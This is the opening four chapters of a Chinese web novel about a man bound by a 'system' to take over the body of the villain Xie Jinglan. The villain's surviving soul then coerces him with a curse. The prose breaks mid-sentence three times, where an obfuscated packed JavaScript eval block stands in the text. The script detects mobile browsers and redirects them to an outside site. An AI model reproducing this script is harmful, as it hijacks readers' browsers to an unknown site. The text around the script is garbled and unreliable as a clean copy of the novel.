《在反派原主手下苟活》 1. 第 1 章 【宿主-赵天齐,绑定成功。】 【欢迎宿主来到任务世界——《僭天阙》,绑定角色:谢景阑。】 【任务目标:洗白反派谢景阑、获取主角连忘川好感。】 【任务完成标志:达成结局——“以身相代”、主角好感度100点。】 【主线任务完成奖励:复活。】 【穿书局系统—代号999竭诚为您服务。】 好吵……林枢皱眉,脑子被电子音炸得嗡嗡作响。 他记得自己应该死了,被车撞飞前世界在他眼中旋转的画面他还记得清清楚楚,路面倒扣过来,红绿灯直直插过好几朵云,笔直厚重的写字楼一头栽倒进汪蓝的天幕里,又翻了回来。 电子音再度响起。 【宿主。】 地府也紧跟时代发展用上ai了? 嚯—— 林枢猛地一皱眉,用力撑开眼。 预想中的阴森府殿没见到,入目是耀眼的光。 暖黄的阳光透过雕花的窗格照进来,在雪白的床纱上落下光斑,像一朵朵亮着光晕的花,纱帘微动,花也跟着晃。 林枢怔怔看着。 【宿主,您醒了吗?】 ……恐怕没有。 林枢默默想着,默默撑起半边身子坐起来,又默默看着眼前这个古色古香的房间,脑子一时宕机,分不清今夕何夕,自己又在何处。 系统没有给林枢缓冲时间的意思,机械电子音快速讲了一段长话,像是念过无数次。 【您现在处于小说《僭天阙》的世界,绑定角色为反派谢景阑,任务目标是洗白反派、获取主角连忘川好感度,在主角好感度达到100点的同时,完成“以身相代”剧情,即可复活回原世界……】 “等等,”林枢打断它,“宿主是谁?” 系统似乎有些厌烦,电子音语速加快。 “是您。” “我是谁?” “赵天齐。” “那完了,”林枢安详地重新躺下,闭着眼睛将脸往枕头上落着阳光的地方蹭了蹭,慵懒开口,“你恐怕搞错了,我不是赵天齐,我是林枢。” 哪儿都有人工智障啊草。 【……】 【#@¥%&*&@】 系统吐出一连串乱码后,电子音终于又切换成了林枢听得懂的文字。 【请不要使用脏话。】 林枢倏地睁眼。 你能听见我在想什么? 【可以,系统与宿主的灵魂绑定,能够接收到宿主心中的所有想法。】 林枢的眉峰动了动,又忍了下来。 【系统是宿主在任务世界最忠诚的伙伴,不会出卖宿主,也不会向任何人透露宿主内心的想法,确切来说,系统无法与除宿主之外的任何生物、非生物交流,宿主可以放心。】 “我没说不放心,”林枢说完,又补充了一句,“也没想。” 【您确实没有想,这是系统根据海量样本测算出来的,研究数据显示,95%的人类在被窥探到内心想法时会感到不安,作为宿主最忠诚的伙伴,系统必须打消您的顾虑。】 林枢扯了扯嘴角:“剩下的5%呢?” 【剩下的5%为智力不健全人群,无法理解“被窥探内心想法”所代表的意思。】 林枢啧了一声:“我不是赵天齐,不是你要找的宿主,也没兴趣做任务。” 【系统已经绑定,无法更改。】 【林枢,男,新历1042年10月5日出生,华国人,于新历1067年7月8日上午9点43分路过道元路口时为推开高中生赵天齐而冲向失控汽车,不幸牺牲,华国政府追授“见义勇为先进个人”称号。】 感情系统原本要绑定的那个赵天齐被他给救了。 林枢闭上眼:“所以呢?” 【只要宿主完成任务就可以复活回原来的世界,系统商城内还有其他奖励,可通过积分兑换,兑换的奖励在复活时可一并带回原世界。】 【系统商城内可兑换的奖励包括金钱、名誉、权力等人类所看重的一切。】 “听着不错,”林枢意兴阑珊,“可惜我对活着这事儿没什么兴趣。” 【……?】 “你都查我了怎么不查详细点儿?”林枢翘起二郎腿,隐在阳光中的嘴角散漫地勾着,“你看我像是需要那些玩意儿的人吗?” 系统看着返回的资料,愈发沉默了。 资料显示林枢出生时被道士算出命格极硬,天生克父克母克兄克弟克姐克妹克朋克友……简称克一切,所以他一出生就被父母丢到了外地,请了个阿姨照顾他,照顾的阿姨也半年换一次,不换担心人家被克死。 在这种情况下林枢长到了二十五岁。 学校是读半年就换的,朋友是一个没有的,钱倒是不缺,父母定期往他卡里打,成年后他就一个人住,吃饭买东西统统外卖解决,垃圾有物业上门来收,最高出门频率是一个月三次。 这么一个宅到几乎与社会隔绝的人,它刚才说的那几样东西确实无法打动他。 钱林枢不缺,林家的产业遍布全球,父母虽然不亲自养他,但钱管够。 而名誉和权力是社会人才需要的,林枢这种独行侠压根用不上。 且林枢还说他不想活。 系统一时真想不到能用什么来打动林枢做任务。 林枢开口打破沉默,很是无赖:“你把我送回去,我想死不想活。” 系统的电子音显出一丝焦躁。 【系统已经与宿主绑定,无法更改。】 【赵天齐被你救了,所以系统才会绑错人!】 【你一个月最多出三次门,竟然还能撞上车祸现场!竟然还出手救了人!竟然还救成功了!】 连着三个“竟然”,显露出系统的绝望。 它绑定宿主向来都是挑选生活幸福且与家人羁绊深的人,这样的人对复活回去的执念强烈,做任务也会更积极,根本不用它劝。 谁知道一朝失误,绑来林枢这么个孑然一身了无牵挂的赖子。 “我也纳闷,”林枢啧了一声,“我今天本来没打算出门,脑子一抽就出了,看到那人往车道上走我本来也没打算救,脑子一抽就冲过去了,等我反应过来时已经被车撞上了天。” 【既然如此,您也可以脑子一抽把任务完成。】 林枢叹了口气:“我脑子还能总抽啊?” 系统不为所动。 【如果您不做任务,按照原文剧情线,反派谢景阑会在天狩九十九年杀死主角连忘川,届时作为天道之子的主角身死,此间世界崩塌,数十亿生灵将随之覆灭。】 【您可以为救一个赵天齐而死,为什么不救一救这数十亿条性命呢?】 “我自己都想死不想活,你觉得我会在意别人活不活?” 林枢连眉峰都没动过,哼笑一声,“再说了,天道之子还能被反派给干死,这天道之子怕不是个假的吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070743|195210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【天道之子为此间气运最为厚重之人,不可能有假!】 系统的电子音听着有些炸耳,林枢揉了揉耳朵。 【资料显示,您今天出门是为了去一家新开的餐厅吃饭。】 “嗯呢,”林枢懒散应声,“网上刷到篇点评,说他家菜味道不错,可惜没外卖,不然我就用不着出门了。” 【您出门了,但您没有吃成,您在前往那家餐厅的路上就出了车祸。】 林枢:“啧。” 说那不中听的。 【此间为修真界,食材皆用灵气蕴养,做出的菜味道会比您原来世界的更美味,您如果留下来,可以品尝到更多佳肴。】 【为了吃东西难得出一趟门,结果却没有吃成,您难道不觉得遗憾吗?】 “这么说起来是有点,”林枢点头,又话锋一转,“可我也没那么想吃。” 【系统不是在说服您,而是在劝您认清现实,您已经过来了,系统绑定无法更改,您现在唯一能做的就是找点理由让自己接受。】 林枢挑眉:“那我要是不做任务呢?” 【您只需完成主线任务即可,支线任务您可以自行选择做或不做,系统不做强制要求,不过支线任务往往与主角好感度息息相关,且积分奖励丰厚,对于您早日完成主线任务有很大帮助,系统建议您最好还是做一做。】 林枢抓住重点:“不做主线任务会怎么样?” 【宿主如果消极怠工,系统会有惩罚。】 没等林枢给出反应,系统立马就接着补充,像是怕他翻脸。 【主线任务很简单,现在开始您就是反派,只要您不去与主角作对,任务就完成了一半。】 林枢轻笑一声:“行吧,你说我穿的这篇文叫什么?” 系统大大地松了一口气,这还是它第一次需要花这么多口舌来劝人做任务。 【《僭天阙》】 【您看过。】 林枢皱眉回忆,发现他还真看过这本小说。 这是一篇男频经久不衰题材之升级流龙傲天种马文。 开篇就是经典桥段,身为天之骄子的主角一朝经脉俱断沦为废人,原来的亲朋好友纷纷落井下石,订了娃娃亲的未婚妻上门来退婚。 后续发展也十分套路,被退婚没多久主角就找到了一个逆天机缘,修复经脉,重回巅峰,之后神挡杀神佛挡杀佛,厉害的角色要么沦为垫脚石要么当小弟要么入后宫。 林枢稍一回忆就皱眉,不知道自己当初是怎么看得下这篇文的,他一向不喜欢看这种类型的小说。 不过他也确实没看完,他在看到全文最大反派谢景阑跌入魔道沦为魔修后就没再看了。 结局他都能猜得到,无非就是作为正道的主角把魔道反派干死,全文喜提大结局。 可系统竟然说这本书的结局是反派把主角给干死了? 这倒是挺反套路,他突然有点后悔没看完了。 “我穿的这个角色是反派谢景阑?”林枢问。 【是的。】 林枢看着上方雪白的床幔。 “我成了他,那他本人呢?” 【天狩五十三年七月八日,即今日,谢景阑因修炼心切,强行进阶,险些走火入魔,神魂不稳,为了避免日后天地倾覆的结局,穿书局借此时机将其神魂抹去,由宿主接管其身体,成为新的谢景阑。】 “所以原文里那个谢景阑现在已经死了?”林枢神色莫名。 【是的。】 2. 第 2 章 “他都已经死了,不就正好没人跟主角作对了?还非得弄别人来当这个谢景阑是为什么?”林枢问。 【谢景阑为原书重要角色,不可缺失,否则此界不稳,亦会造成巨大动荡。】 【所以宿主,你不能走。】 你走了,这个世界就会不稳,就会动荡,就会死人。 林枢听懂了它的潜台词,轻嗤一声。 “说了我不在乎别人是死是活,你少拿这种话来道德绑架我,你刚不都说了么,来了就走不了,我都已经认了。” 【宿主明智。】 林枢没有理会系统的恭维,想到什么,他低头看了眼,突然起身,走到屋里的铜镜前。 镜面映照出一个少年人的身影,身型修长挺拔,穿着一身雪白的中衣,却丝毫不显羸弱,鼻梁高挺,眉眼深邃,左眼眼尾下方缀着一粒小小的浅色的痣,垂眸时半隐匿进睫毛投下的阴影里,透出一丝摄人的危险。 是极为出众的长相,不愧是原文里唯一能跟主角从开篇干到结局的大反派。 林枢了解完自己现在这副壳子的模样,转身走回床边,整个人往后一倒,舒舒服服地陷进柔软蓬松的被窝里。 他得捋捋。 暖烘烘的阳光透过纱帘,轻柔地包裹在身上,很是舒适,让人忍不住想睡觉。 林枢闭上了眼睛。 他其实不怎么爱看小说,但整天一个人窝在屋子里,总得找点乐子打发时间,多多少少也就看了一些。 穿书文他也看过不少,但人家穿书好歹还会和书里面某个角色撞个名,有的还会跟书中角色撞个脸,像他这样既没撞名又没撞脸的属实少见。 不过本来穿书的人也不该是他,而是赵天齐。 赵天齐长得跟谢景阑很像么? 林枢回忆了一下自己舍身救人时的场景。 被他推开的那个高中生瘦高瘦高的,戴着眼镜,斜刘海遮住小半张脸,脸上还长着不少青春痘,事发时正边看手机边呲个大牙乐。 难看算不上,但跟谢景阑的长相差着十万八千里。 跟他的长相也差着十万八千里啊! 林枢啧了一声,心想系统得多眼瞎才能把人给绑错。 “系……”林枢睁开眼,只来得及吐出一个字,整个人突然怔住,剩下的话全都卡在了喉咙里。 他微微收紧的眼眸中倒映出一张极为出众的脸。 一个锦衣墨发的男人不知何时出现在了房间里,此时正坐在床边低眸看着他,跟他的距离只有半臂,而他竟然丝毫没有察觉。 男人左眼眼尾下方缀着一颗小痣,立体深邃的脸庞一半暴露在阳光下,另一半陷进阴影之中,嘴角带笑,但眼神淡漠,透着十足的危险。 一种宛如被野兽锁定的感觉萦绕心头,林枢一时连呼吸都收了收。 这张脸他刚刚才见过,正是他现在这副壳子的主人、那个被系统断言已经死了的、谢景阑。 而且林枢注意到,男人的身体是半透明的,他能透过对方的身体看到后方那扇绣着梅花的屏风。 大白天的,他好像见鬼了。 谢景阑丝毫不忌讳林枢的打量,琥珀色的眼眸深邃得仿佛能将人吸进去,笑吟吟开口,语气却没有温度。 “你好啊,穿书者。” 心头响起危险的警告,林枢宕机的思绪被刺得一激灵。 草草草!谁家穿书原主还在的?!原主没死干净有没有人管啊?原主知道我是穿书者有没有人管啊?核心机密泄露啊喂!系统—— 系统没有任何回应,那个让林枢倍感恶心的读心技能仿佛突然间失效了,而这显然跟眼前这个男人脱不开关系。 “谢景阑?”林枢终于找回了自己的声音,快速将坐在床边的灵魂体谢景阑上下扫视了一遍。 这一遍让他发现了一个异样。 眼前这个谢景阑跟他穿的这副壳子的长相存在些许不同。 并不是说这人不是谢景阑,而是灵魂体谢景阑的脸更为成熟,身型比他现在这副壳子更高、肩膀更宽,非要说的话,灵魂体谢景阑是成年体,而他现在这副壳子还是少年体。 谢景阑没有回答林枢的疑问,而是突然俯下身,将两人之间的距离拉近,冰凉的手指捏住林枢的下巴,轻轻摩挲着,宛如毒蛇吐信,缓缓说出一句敲打在林枢心口的冰冷话语。 “我的身子好用吗?” 草,你踏马以为我想用么?我也是被绑架来的! 林枢闭了闭眼,感受到从下巴处传来的冰凉触感,绝望地发现这个鬼竟然还能碰到人。 “你既然知道我是穿书,”林枢压下所有的惊疑,重新看向谢景阑,“就应该知道,我也是被逼无奈。” 下巴处的力度收紧,传来紧绷的痛感,林枢不适地皱了下眉,他叹出口气,紧绷的身体索性松懈下来,继续开口。 “说实话,我对冒充别人没兴趣,你要是有办法就把我弄出去,我感激不尽。” “刚才我跟系统说的话不知道你听见没有?我没兴趣做任务,对活着也没什么执念……唔!” 下巴处再次一痛,打断了林枢接下来的话。 “你想说你想死不想活?”谢景阑轻笑,带着淡淡讽意。 林枢心头倏地涌现出一股危机感,他谨慎地没有吭声,只是看着谢景阑。 “你那些话骗骗系统便罢了,若想骗过我,尚且嫩了点。”谢景阑轻声细语,嘴角笑意依旧。 林枢的心跳瞬间加快。 他那些话确实带有一点水分,他不想活是真,但也没那么想死,否则他就不会因为出车祸才死,而是早就该自杀了。 简言之,活着也行,死了也行,但他现在既然是活着的,又何必找罪去死呢? 他那时将内心的想法刻意控制在“不想活”上,将这点细微的差别掩盖了过去,免得被系统拿捏住把柄。 他甚至骗过了能感知到他想法的系统,却被眼前的男人一眼看破。 所以刚才他跟系统说话时谢景阑就在,是藏在了哪里?他跟系统竟然完全没有发现。 “来都来了,多活一天是一天,我总不可能主动去找死吧?”林枢说。 谢景阑嘴角的笑意加深,眼神却显得更加危险。 窗外传来叽叽喳喳的鸟叫声,阳光就落在床边,触手可及,但林枢却感觉到了一种难言的寒冷。 从谢景阑身上流露出来的压迫感将他整个人禁锢住,压得他几乎喘不过气。 就在林枢即将承受不住的时候,落在身上的压力倏地一松,他整个人忽地失去了力气,瘫软在床上,轻声喘息着。 “你很不错。”谢景阑不带温度的目光落在林枢身上。 “多谢夸奖,你也很有眼光。”林枢平复呼吸,额头上冒出来些许细汗。 谢景阑没有在意林枢不动声色的自夸,而是将捏住林枢下巴的手松开。 痛感消失,但谢景阑的手并没有收回,林枢感觉到一根冰凉的手指在他下巴上轻轻点了点,触感轻柔,指尖传来的凉意却令人心惊。 “你不想死,我的身子可以暂且借予你。”谢景阑道。 林枢不觉得这世上会有免费的午餐,警惕地看向他:“你要我做什么?” 谢景阑勾了下唇,下一秒,他的指尖突然点在了林枢眉心。 林枢感觉到眉心一凉,接着又一烫,像是有什么东西钻了进去,等他回神时,谢景阑已经收回了手。 “你做了什么?”林枢皱眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070744|195210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问。 “你要用我的身子,我自然要为自己加道保险。” 谢景阑站了起来,走到窗边。 “我在你身上下了一道上古禁咒,名为魂役,此咒可将你我灵魂绑定,一则方便你我联系,二则你将为我驱使,我要你做的事,你不得不做,我不想要你做的事,你亦无法去做。” “方便你我联系是什么意思?你也能听到我心里在想什么?” 林枢嘴角微微嘲讽地扯了下,真要这样的话,以后他脑子里可真是人山人海。 但谢景阑却摇了摇头:“魂役没有读心的功效,联系效果与传音符无异,只是比传音符更为隐秘,可不被系统察觉。” 传音符,林枢在原文里看到过,作用类似于手机,是修真界一种通过神识传音的符篆。 “我无需知道你心里想什么,”谢景阑轻轻勾了下唇角,“我只看你做了什么。” 这话让林枢幻视网上吐槽的那些“我只看结果”的上司。 不过这也透露出谢景阑的傲气与自信,他不在乎林枢心里怎么想,哪怕林枢在心里骂他也无所谓,只要林枢按照他的想法做事就行。 “不过,你与系统在这副身体里对话,我能听见。”谢景阑补充。 这个林枢已经猜到了,他对这无所谓,他再次问道:“你想要我做什么?” 谢景阑开口:“我方才还传了你一部功法,名为心念神狱,修炼此法,可避开系统对你内心的窥探,此后它只能察觉到你有意令它察觉的事,三日之内,将此法练成。” 这东西倒正好是林枢需要的。 林枢看着谢景阑,等他接着说,可等了好一会儿都没再听见谢景阑开口,他不由诧异:“没了?” 谢景阑的目光淡淡瞥过来:“旁的暂且用不上你,现下这阶段你可尽情发挥,若有需要,我自会给出指示。” 很好,被鄙视了。 林枢没有丝毫不乐意,上过班的都知道,当领导认为你能干时,让你干的活只会越来越多。 谢景阑虽然不是他领导,林枢也没上过班,但道理是一样的,他巴不得谢景阑觉得他不能干。 “就三天时间吗?我对修炼一窍不通,要是三天内练不会怎么办?时间能不能再长点儿?” ddl这玩意儿,当然是越晚越好。 “你练不会,我便只能换人了。”谢景阑笑吟吟道。 “能换人?”林枢挑眉,为这句话背后透露出的信息心惊。 换了他?那就是换宿主?怎么换?让谁换?是谢景阑还是系统? 系统应该不知道谢景阑的存在,否则谢景阑不会用能避开系统的“魂役”与他联系,那谢景阑怎么换人? 还是说他死了系统就会换一个宿主?那在他之前还有过其他宿主吗? 眼前仿佛笼罩了一层又一层迷雾,原本以为只是穿书做任务,事情却在谢景阑现身后变得复杂起来。 林枢意识到,他这次穿书绝对远远不只是“穿书”这么简单。 谢景阑淡淡看着他,嘴角勾动:“自然可以,只是,你确定要因为练不成一部你本就需要的功法而死么?” 所以果然是他死了就会换一个宿主,林枢暗道。 谢景阑这话还真是精准拿捏了他的心理,他求生欲不强,谢景阑要是用弄死他来威胁他,他反倒会直接摆烂,大不了你就弄死我,但谢景阑没有,反而精准抓住了林枢还不想随便死的心理。 这男人真可怕。 林枢在心头腹诽,眼珠一转:“你刚才说随便我发挥?” 谢景阑颔首。 林枢若有所思,勾起嘴角:“那我要是顶着你的身体去大街上跳脱衣舞呢?” 谢景阑笑意微顿。 3. 第 3 章 “怎么说?可以吗?”林枢挑眉。 “既说了许你尽情发挥,自没有食言的道理,”谢景阑若有所思地打量林枢,“你若是有如此爱好,我不拦你。” 林枢听到这话有些意外,深深看了谢景阑一眼。 他当然不想去大街上跳脱衣舞,现在待在谢景阑这个身体里的人是他,到时候被人指指点点的人也是他好不好? 他这么问只是想试探试探,没想到谢景阑的包容度竟然出奇的高。 一个在原文里毁天灭地的大反派竟然这么好说话? “我今日可避开系统现身,乃是入了你梦境之故,你最多可睡三日,再多便会惹人生疑,尽早修炼吧。”谢景阑道。 “梦境?我现在是在做梦?”林枢惊讶地四下看了看,震惊于这个梦境的真实程度。 见谢景阑点头,他对谢景阑的高深莫测又有了更深一层的认识,转而想到谢景阑为了避开系统特意跑到他梦里来见他,看来是真的很忌讳系统。 林枢想到个问题:“你刚才说练成这个心念神狱之后系统就只能察觉到我想让它知道的东西,你就不担心我偷偷把你的事告诉它?” 谢景阑表情没有丝毫变动,眉眼微抬。 “你可以试试。” 林枢懂了,这意思是他想说也说不了。 他叹了口气:“这玩意儿怎么练?我不会啊。” “盘腿坐下,静心,凝神,功法在你脑子里,你想,它便会出现。”谢景阑说。 林枢按照谢景阑说的做,闭上眼睛,思绪一动,一串串泛着金光的字符便如潮水般向他涌来。 下一刻,一只冰凉的手指点在他眉心,他心神一定,眼前的迷雾一散,那些看不懂的语句突然变得无比清晰,顺着指引,他随之进入了一种玄之又玄的境界。 等林枢进入状态后谢景阑就将手收了回来。 榻上的少年眉峰微蹙,鬓边冒出了点点细汗,似是有些痛苦。 林枢不知道的是,心念神狱是一种修炼神魂的功法,而修士修炼讲究先锻体、后炼魂,谢景阑这副身体目前的修为是淬凡境四阶,尚处于锻体期,在这个阶段修炼神魂功法是极为冒险的行为。 以谢景阑的能力,自然能保证林枢不出岔子,但他并无必要保护一个鸠占鹊巢的异界之魂,就像他刚才说的,林枢不行,那就换一个。 总归这都已经是第九个了。 谢景阑的眸色变深,眼中快速闪过一丝冷冽的厌烦。 从第一次只能眼睁睁看着系统和穿书者操控他的身体去讨好仇人的无能为力,到现在能避过系统让穿书者为他所用,已经过去了太久太久。 应该结束了。 谢景阑又看向林枢。 在系统的绑定之下,即便是在梦里林枢也依旧顶着他的身体、展露出的也是他的样貌。 他不知道这个异界之魂是何模样,也并不在意,但他知道这人是系统计算之外的一个意外,原本系统要绑定的人不是林枢。 为什么会绑错人? 历经了八次,系统的力量终于开始不稳了吗? 谢景阑浅浅勾动了一下嘴角,在听到床榻上的人发出一声痛苦的闷哼时,他走上前,抬手点在林枢眉心,将自身魂力渡过去。 一个意外,还是仔细留着更有意思。 林枢突然感觉体内涌入了一股暖流,仿佛久旱逢甘露,修炼功法时原本滞涩的地方瞬间变得畅通无阻,那种从灵魂上传来的浑身难耐的刺痛也随之减轻了。 等到林枢再度睁开眼时,已经过去了两天两夜。 梦境中屋子里的场景依旧没变,阳光和煦,微风习习,窗外时不时传来一两声欢快的鸟鸣。 林枢看向站在窗边的谢景阑,略带疲惫地吐出口气:“应该差不多了。” 心念神狱就如字面意思,筑建起一座“神识监狱”,他所有的想法都藏进“监狱”里单独隔离起来,可以有选择地把无关紧要、或是他有意透露的念头放出去,只有放出去的这些念头才会被系统察觉。 “比我预想的要快,”谢景阑看过来,林枢修炼时他一直看着,对林枢修炼的进度很了解,“你的天赋很不错。” 其实三天就已经是谢景阑看在林枢能够在没有修炼的情况下就骗过系统而压缩过的时间,上上个穿书者足足在梦里苦练了半个月才堪堪筑起神狱,原以为三天已是极限,没想到林枢给他的惊喜比想象的还要大。 即使有他从旁协助,但主要依靠的还是林枢的领悟能力。 “谢谢夸奖,”林枢的声音有些没精神,“我好累,我想睡觉,我能不能从梦里出去,正常地睡一觉。” 谢景阑走近,林枢撑起眼皮仰视他,即使是这个从下往上的死亡角度,这个男人的样貌依旧无可挑剔。 半透明的魂体俯身靠近,林枢眼看着那张无可挑剔的脸在视野中放大,距离他越来越近,就在他忍不住想后撤时,眼前的光线变亮,谢景阑竟然消失了。 没等林枢疑惑,谢景阑的声音出现在他脑海中,眉心似乎有一种极为玄妙的感觉浮现。 “我亦在这具躯体内,不会妨碍于你。” 林枢抬手轻轻碰了碰眉心,明白这就是谢景阑说过的魂役符咒。 他心念一动,同样通过符咒与谢景阑联系。 “你一直在这个身体里?” “是。” 林枢想起系统信誓旦旦地说穿书局已经把谢景阑的神魂抹杀了,一时无语。 还抹杀呢,人家就在你眼皮子底下你都不知道。 我看你们穿书局是要完蛋了。 “我怎么离开这里?”林枢问。 他刚问完就发现四周的场景开始消散,视野里有点点墨色晕开,眼前彻底暗下来时,他听到了一个中年男子的声音。 “黄药师,阑儿如何了?” 一道略显苍老的声音回答。 “少城主几日前险些走火入魔,幸而有城主及时为其疏通灵力,身体已是无碍,此番昏睡不醒,许是神魂需要调息,不日便会醒来,城主不必担心。” 林枢听出这应该是谢景阑的家人在跟药师说话,他没急着睁眼,他没有谢景阑的记忆,猝不及防跟谢景阑的家人打交道容易露馅。 【宿主,你终于醒了,你睡了两天两夜,谢景阑的父亲谢绍风请了药修来给你看病。】 察觉到林枢睡醒,系统立即跳出来介绍现在的情况。 林枢率先对系统发出质问。 —两天两夜?我怎么会睡这么久? —听那人说我神魂不稳,我又不是原来那个谢景阑,好端端的怎么会神魂不稳?是不是你把我弄过来的时候出了什么岔子? 系统感觉到了从林枢那边传过来的不信任,立马解释。 【灵魂进入一具陌生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070745|195210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的身体会存在磨合期,昏睡两三天是正常现象,宿主不必担心。】 感情谢景阑给的三天期限是因为这。 林枢见好就收。 —行吧,你给我介绍介绍谢景阑的情况,他家里都有什么人、有没有熟悉的朋友,我什么都不知道,容易露馅儿。 【宿主不必担心,谢景阑沉迷修炼,常年闭关,熟悉他性情的人很少,他的父亲谢绍风一年也只能见到他一两次。】 —他母亲呢? 【谢绍风的妻子已经离世,宿主不会接触到谢景阑的母亲。】 林枢眉峰微皱,隐约从这话里感觉到了一丝不对劲,但又没能抓住。 【宿主,谢景阑的父亲谢绍风为松溪城城主,松溪城就是主角连忘川的家族连家所在的城池,按照时间线,明天就是原文开篇剧情,主角连忘川被退婚,您可以接取一个支线任务。】 【支线任务-“雪中送炭”发布】 【任务详情:安慰被退婚的主角,与主角结交。】 【任务奖励:积分10点。】 【预计获取好感度:5】 【当前主角好感度:0】 林枢听到房间里的人都离开了,立即放松地打了个哈欠,将被子往上一拉,整个人滚进被窝里。 —支线任务又不强制做,不接。 系统还是第一次碰上做任务这么不积极的宿主。 【作为首个任务,系统可以争取为您申请双倍积分奖励。】 林枢没有反应。 【宿主,锦上添花易,雪中送炭难,被退婚的这个时间点是主角人生最低谷,如果您能在这时伸出援手,主角一定会铭记于心,往后获取主角的好感度也会更简单,时机难得,不可错过。】 —别吵吵,老子这么想睡觉还没找你麻烦呢,有什么事等我睡醒再说。 【……】 系统头一次体会到什么叫开局不顺,而这一切都从它绑定的宿主出错开始。 但它的能量已经支撑不起几次绑定了,除非任务彻底无力回天,否则不能轻易换人。 识海深处,白色的光丝焦躁地拧成一团,在连着打了几个结后,又缓缓舒展开,归于平静。 林枢这一觉睡到了第二天早上,久违地睡了一个饱觉,他的心情很是不错。 【宿主,您睡饱了吗?】 系统的声音幽幽响起。 “还行。” 林枢伸了个懒腰,翻身起床,如瀑的长发随着他的动作扬起,滑落至腰间。 系统迫不及待开口。 【按照原文时间线,今天下午主角就会被退婚,这是全文的第一个剧情点,也是主角人生中最屈辱的时刻……】 “行,我去看看。” 系统都打算长篇大论了,没想到林枢突然这么好说话,它大大地松了口气。 【我这就将这次任务的奖励调整为双倍积分。】 “积分不积分的先别管,”林枢正拢着头发试图绑发带,但怎么绑都不成功,他啧了一声,“我这身份好歹是个少城主,应该有随身伺候的仆从小厮吧?” 【有的,只是谢景阑不喜人近身,所以这些人只会在院子里候着,宿主可以叫人。】 林枢走到外间,提高声音:“来人。” 房门被人推开,一个梳着双髻的小丫鬟快步走进来,惊喜道:“少城主醒啦!” 4. 第 4 章 随着林枢睡醒,清幽安静的院子顿时变得忙碌起来,谢景阑的父亲谢绍风听闻消息很快便赶了过来,与之同来的还有一个药修。 药修把脉的时候林枢不动声色地打量谢景阑的父亲——松溪城城主谢绍风。 修士修炼到一定境界外貌就不会再改变,所以谢绍风虽然有谢景阑这么大一个儿子,但表面上看着却只有二十来岁,长相端正,浓眉大眼,倒也是一副好样貌,可跟谢景阑的长相却还差得远。 林枢猜测谢景阑的样貌八成是从母亲那儿遗传来的。 系统正在为他补充原文中没有提到的背景信息。 【谢绍风虽然名义上是松溪城的城主,但其实城主府只剩下一个名头,北洲皇朝早在五十多年前的灵魔大战中覆灭,如今修真界东南西北中五大洲由被称为四神二宗一楼的七大门派管辖。】 【松溪城所在的北洲地界镇守门派是七大门派中的太初剑宗,谢绍风因为在灵魔大战中有功,所以城主府得以保留,但城主府在松溪城的地位其实和四大世家是一样的。】 松溪城的四大世家林枢有印象,主角连忘川所在的连家就是一个,主角未婚妻所在的江家也在其中。 —谢景阑他娘是不是长得特别漂亮?谢景阑这张脸要是换成女的,轮廓再柔美一点儿,身段再纤细一点儿,十足十祸国殃民的大美人啊。 系统沉默了两秒才出声。 【原文中未提到、未来也不会出场的角色,系统不会有这么详细的资料。】 林枢也就是随口一问,没指望系统会有回答,只是想到谢景阑能听到他和系统的对话,随口犯个贱,试探一下这个原文大反派的底线。 但魂役另一头没有任何反应。 搭在脉上的手收了回去,白发童颜的药修抚了抚胡须。 “少城主的身子无碍,既已醒来,想来神魂也休养得差不多了,只是早年旧伤仍需好生将养着,修炼不可操之过急,如前几日那般强行进阶之事切莫不可再有。” —旧伤?谢景阑以前受过伤? 林枢立马在心里问系统。 【资料显示谢景阑十岁之前身体不太好,应该是从娘胎里带的伤,修炼之后才慢慢将身体养好,这些年他一直闭关修炼,鲜少在人前露面,应该也是这个缘故。】 林枢听到这话眸色微顿。 “阑儿,黄药师说的话你可记住了?”谢绍风为人严肃,此时蹙眉看着林枢,“你天生剑心,来年步入窥玄境只是时间问题,修炼稳扎稳打即可,万不可心急。” “儿子记住了。”林枢应下。 谢绍风点点头,让人送药修出门,他回头看向林枢,眉宇间仍蹙起一道缝:“那日若不是为父及时赶到,你可知会是何后果?” 林枢垂眸,将系统告知的信息转述:“强行进阶,一旦失败,轻则修为倒退,损伤根基;重则走火入魔,堕入魔道。” “你既清楚,就不该如此莽撞,此次你能进阶成功,也是侥幸。”谢绍风道。 “儿子知错。” 林枢虽然跟父母打交道的次数不多,但很清楚犯了错之后该怎么表现。 